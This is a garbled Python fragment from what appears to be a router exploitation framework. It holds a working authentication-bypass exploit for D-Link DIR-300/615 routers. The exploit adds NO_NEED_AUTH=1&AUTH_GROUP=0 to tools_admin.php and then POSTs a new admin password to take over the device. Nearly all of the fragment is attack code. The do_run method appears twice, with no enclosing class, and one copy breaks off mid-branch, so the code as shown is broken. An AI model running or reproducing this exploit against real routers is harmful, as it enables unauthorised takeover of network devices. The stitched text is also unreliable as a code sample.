# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import core.io
import requests
import interface.utils
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning

    def do_run(self, e):
        url = "http://%s:%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" % (self.host, self.port)

        try:
            print_warning("Sending exploit")
            response = requests.get(url, timeout=60)
            if response.status_code == 200 and 'name="admin_password1"' in response.text:
                print_success("target seems vulnerable")
                print_success("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL")
                print_info("Changing admin password")
                headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                           'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                           'Accept-Encoding': 'gzip, deflate',
                           'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                           }
                payload = {'NO_NEED_AUTH': 1,
                           'AUTH_GROUP': 0,
                           'ACTION_POST': 1,
                           'apply': 'Save+Settings',
                           'admin_name': 'admin',
                           'admin_password1': '%s' % self.password,
                           'admin_password2': '%s' % self.password,
                           'grap_auth_enable_h': 0,
                           'rt_ipaddr': '0.0.0.0'}
                url = "http://%s:%s/tools_admin.php" % (self.host, self.port)
                response = requests.post(url=url, headers=headers, data=payload, timeout=60)
                if response.status_code == 200:
                    print_success("password seems to be changed try to login with: %s" % self.password)
                else:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/dlink/dir300_615_auth_bypass.py
import core.Exploit
import core.io
import requests
import interface.utils
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning


    def do_run(self, e):
        url = "http://%s:%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" % (self.host, self.port)

        try:
            print_warning("Sending exploit")
            response = requests.get(url, timeout=60)
            if response.status_code == 200 and 'name="admin_password1"' in response.text:
                print_success("target seems vulnerable")
                print_success("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL")
                print_info("Changing admin password")
                headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                           'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                           'Accept-Encoding': 'gzip, deflate',
                           'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                           }
                payload = {'NO_NEED_AUTH': 1,
                           'AUTH_GROUP': 0,
                           'ACTION_POST': 1,
                           'apply': 'Save+Settings',
                           'admin_name': 'admin',
                           'admin_password1': '%s' % self.password,
                           'admin_password2': '%s' % self.password,
                           'grap_auth_enable_h': 0,
                           'rt_ipaddr': '0.0.0.0'}
                url = "http://%s:%s/tools_admin.php" % (self.host, self.port)
                response = requests.post(url=url, headers=headers, data=payload, timeout=60)
                if response.status_code == 200:
                    print_success("password seems to be changed try to login with: %s" % self.password)
                else:

                    print_error("password change failed")